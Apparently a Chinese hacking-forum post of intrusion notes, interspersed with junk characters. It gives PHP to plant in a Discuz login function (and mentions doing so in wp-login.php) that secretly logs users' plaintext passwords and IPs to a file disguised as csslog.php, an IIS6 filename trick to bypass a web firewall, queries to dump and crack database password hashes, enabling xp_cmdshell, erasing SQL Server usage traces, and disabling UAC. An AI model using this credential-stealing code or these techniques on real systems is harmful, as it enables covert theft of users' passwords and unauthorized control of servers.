, r7 s4 R9 ?/ v) V0 B0 C4 Y5 ~就是搜索case ‘login’: D: ?5 J6 N, v. K7 y" G3 C
在它下面直接插入即可,记录的密码生成在pwd.txt中,! }4 }4 }7 i. ]
其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录
3 v3 t" V$ y. g2 Y) u& p利用II6文件解析漏洞绕过安全狗代码:
( H( m- a3 l: ]- c;antian365.asp;antian365.jpg5 Q: ?8 M, O1 b% \9 {
+ _- t: A8 f1 ^各种类型数据库抓HASH破解最高权限密码!, \+ W: k4 N$ H
1.sql server2000
: Y+ h5 M( O. E) N! JSELECT password from master.dbo.sysxlogins where name='sa'" g0 w6 Q/ U/ f' F! l
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
8 q% @7 l0 }* X2FD54D6119FFF04129A1D72E7C3194F7284A7F3A6 N5 y" r! g3 ]' x" r# Y, h; s
( C3 Q" k; i9 T- O1 _0×0100- constant header
- w. e. d7 m9 v/ J& X% H34767D5C- salt
, m3 p4 i2 G! S0 z5 L, g- @" }0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash W6 D* j5 l5 ]/ A( @4 @9 d: i
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash+ P t* p, o$ A3 w1 d
crack the upper case hash in ‘cain and abel’ and then work the case sentive hash
. `$ U) v4 G; m9 u3 ^SQL server 2005:-
) l7 o9 k9 p' z; V! ^% w4 M1 jSELECT password_hash FROM sys.sql_logins where name='sa'+ T, s: W1 b: H$ Z" p
0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F1 I" v. G! S! E' }
0×0100- constant header
# Q( j5 d, p, g( r993BF231-salt* x: K+ ?; B( d
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash; h8 r! W4 ]6 g/ F: z/ q- W
crack case sensitive hash in cain, try brute force and dictionary based attacks.0 V9 a5 q) z$ |3 [" j y d- \
6 n9 Z# x% g5 a* Z" ]update:- following bernardo’s comments:-8 b! l+ L/ |) l5 n* g, }7 {) n5 G
use function fn_varbintohexstr() to cast password in a hex string.) W2 t7 Z+ E, O c& Z
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins
7 c% f/ g+ S3 v; m9 _. q" {; E. i: T, b, F! b: W9 D$ D
MYSQL:-& d9 p% a! J) s1 P. h
9 K$ _- c+ k# i, I
In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2." q8 o/ L9 |& Z( Y5 K# K! t- m) c
, P* w& s- C5 d c
*mysql < 4.1
- d0 B% C9 V: |6 N0 b
# P7 c& O R$ i( T) d7 I+ f0 r& z& ]mysql> SELECT PASSWORD(‘mypass’);
. C. a! R& l; d& g6 A A3 I5 p8 I+——————–+
: Y3 N+ j6 p( }9 h& V( J| PASSWORD(‘mypass’) |$ o: e% l# U8 D5 K
+——————–+* K, M, \( Y @" ]; T
| 6f8c114b58f2ce9e |1 o0 C l" b; A* Z& v
+——————–+/ q2 r; t- a, U" n* s4 z
6 R! h3 {: R. {" v
*mysql >=4.1 Z# T: E5 u) ]: v7 H) ]3 Q
/ K: [: y* {3 ]# w: _
mysql> SELECT PASSWORD(‘mypass’);
! A0 G- a" v0 O4 v2 f4 k+——————————————-+( H; j$ i8 v' p6 e* U
| PASSWORD(‘mypass’) |
; b" d* [" o9 A0 l+——————————————-+
/ K" D( F1 ?4 U9 s" d. k| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |) q4 T+ q7 C- q5 h
+——————————————-+; T6 w: d2 |1 {' h
+ s; m* I* t, _/ aSelect user, password from mysql.user
' c# s- \" p8 P8 H g' M' UThe hashes can be cracked in ‘cain and abel’7 N- i {- T& F9 o$ ^
" }% W e5 B$ ~6 N7 b6 cPostgres:-
, h. v# M4 m0 ]* ]( x ePostgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)% }' f, T( o: L9 t' m9 D
select usename, passwd from pg_shadow;
; m; w* a$ J! \. ^usename | passwd
: ]4 @ T: c( B5 X+ ~——————+————————————-$ X* h" \& Q& X3 ~' |( J
testuser | md5fabb6d7172aadfda4753bf0507ed4396
' G4 l! K& @+ Z& V1 Ouse mdcrack to crack these hashes:-
E+ ?1 v# T1 T9 [, X$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396
W1 N1 k- y8 B+ N: u# X T0 q5 E- b
Oracle:-
M9 [6 A3 z& `* m8 v) H& Bselect name, password, spare4 from sys.user$1 s/ w& X" _1 }: Y& B
hashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g" l) L+ ?* @9 U
More on Oracle later, i am a bit bored….
# ^& o L" f2 [. ]9 Y- Y: ~2 i' q* X2 {- ~2 t$ n( L8 y/ g
+ Q. v$ t# r3 ]' E0 ~6 D9 X
在sql server2005/2008中开启xp_cmdshell
. n: g _+ k( s; Y: v# t8 O-- To allow advanced options to be changed.
; o' E! y; C2 c% K1 W) _EXEC sp_configure 'show advanced options', 18 H# g% _5 u1 t* F' }% |- A
GO, i0 c# l: L$ C, S$ }
-- To update the currently configured value for advanced options.
- F$ ]' n! G1 n6 e' h6 C, ~RECONFIGURE
* k& w8 h6 N* o l* _GO
& A/ ]; p- b" o-- To enable the feature.! T* q/ ^% O; {: J5 S6 r
EXEC sp_configure 'xp_cmdshell', 1/ `- l* X; [( Z- N
GO
+ {" R# ^" v5 E2 ?6 N& R-- To update the currently configured value for this feature.& C7 V {" \8 `
RECONFIGURE
9 C6 e, a: d* X9 JGO9 [" K" ~* K, j6 c8 k
SQL 2008 server日志清除,在清楚前一定要备份。
$ |1 Z1 {7 @# G- ]- O7 r& u6 p如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:
/ {) K' |4 j; o8 fX:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin
7 k, h% @7 c" r$ E! e, f2 R Q
' _' @4 `! U: k: F* _对于SQL Server 2008以前的版本:
4 }# b5 G5 l& r( }SQL Server 2005:
_% j7 q F8 A8 f8 w删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat) ~, v! l) q }+ e8 x; {
SQL Server 2000:
' l$ t5 k: o% O2 J清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers\相应的内容即可。/ q1 n4 ]/ b7 Y# B$ p2 ~0 z
: H0 j4 ^% x$ U+ s5 E" I本帖最后由 simeon 于 2013-1-3 09:51 编辑: W$ k$ Q: A) A/ ?# p4 }
; O- @* ~5 z# Y5 B
- w) m" h. x3 M+ swindows 2008 文件权限修改
" ]1 F1 }: ?: U2 P$ y1 O1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx
# k: [! S) y1 Y! N" ~* Y# G: }2 [2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98
( P. v% w0 o0 |一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,
% r" p4 L* U) X2 d j3 W4 P( }
: W* f! g9 W( D" C: V$ _, c$ JWindows Registry Editor Version 5.00
0 n8 V; O5 o, z. E9 a! z2 S[HKEY_CLASSES_ROOT\*\shell\runas]
) f8 i/ m2 I& b2 I4 |@="管理员取得所有权"1 x2 k% a" D6 a$ }# P x& T
"NoWorkingDirectory"="", G7 J" d p! {3 K# W% x6 B
[HKEY_CLASSES_ROOT\*\shell\runas\command]
! J2 G* Q2 g% h! Z- U& a7 O@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"( j& D) p4 |) [
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"# E5 s* y8 F: s& `
[HKEY_CLASSES_ROOT\exefile\shell\runas2]; N% C" l" z* d
@="管理员取得所有权"7 S9 n7 j. S! u5 d R- v. y
"NoWorkingDirectory"="": @( i2 g w& h5 a% ~& }
[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]
8 Q" S2 J2 L. ]9 ]4 a7 O@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F": L; X+ x( i# I+ ~& A: B' u: V
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"* q7 O9 d; N* H! ~) D
- T, J, v$ Z7 q) K$ v
[HKEY_CLASSES_ROOT\Directory\shell\runas]' k: E$ a, O0 ?/ w) P
@="管理员取得所有权"
" W$ \4 k7 Q9 {3 @7 X* v"NoWorkingDirectory"=""+ l. Y* w4 n5 C! V9 q( { r8 x
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]/ `) L' }8 g7 ~1 O) s" [5 @% ~
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"1 Y: J1 G8 x Q, I
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
' `. D1 I& R! [& Q3 t( j
4 e) L9 m- n1 D4 K: |
; {, X, a$ e6 }+ R% {1 U+ Hwin7右键“管理员取得所有权”.reg导入
! h; K0 U# A0 x, J, A2 K! W二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”, _% S( S6 \, V2 C3 E& ]
1、C:\Windows这个路径的“notepad.exe”不需要替换, A& B( b; ]' w
2、C:\Windows\System32这个路径的“notepad.exe”不需要替换
, q% G7 \4 @: E% c/ D' }5 s2 t3、四个“notepad.exe.mui”不要管2 i" m7 w- [0 G6 c- F
4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和& [% S, y& D/ _" k$ o2 h8 O
C:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”
2 J. |! ^7 ] P7 i) v$ c) p替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,: {' K' R+ r" r) E" ]$ M! x a
替换完之后回到桌面,新建一个txt文档打开看看是不是变了。' s" O& H0 X' E+ h+ B
windows 2008中关闭安全策略: 6 d! [0 f3 T& |* X
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f5 Q, b+ f' L( w! H& s
修改uc_client目录下的client.php 在# D4 S* H9 a7 C9 S& ]
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {7 w! |: T% O- U; @
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
6 g9 z% V; h8 E {; G你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw H& H9 _3 S, f5 x; n
if(getenv('HTTP_CLIENT_IP')) {' o4 J4 s4 M$ H3 y, \) d
$onlineip = getenv('HTTP_CLIENT_IP');5 t0 H2 P# v% W: d- }
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {. C* n3 `1 t2 f' B
$onlineip = getenv('HTTP_X_FORWARDED_FOR');% V' ]4 `- [+ e* F) a3 r# ^
} elseif(getenv('REMOTE_ADDR')) {
' |# _; t0 y# [/ Y' }$ W- u$onlineip = getenv('REMOTE_ADDR');6 d. P/ \1 n6 R, i, ]6 {1 ?
} else {3 K: T" [& l9 l; s1 E4 I, y
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
T* L+ u# Q* L/ t}; o* g+ S# h- a8 d4 J1 S' V* k
$showtime=date("Y-m-d H:i:s"); B1 |$ d4 X8 s$ o7 g7 e/ A t9 H
$record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
3 ? V8 ]2 B: V" K $handle=fopen('./data/cache/csslog.php','a+');
& p6 h* v# F2 \6 d, f $write=fwrite($handle,$record); |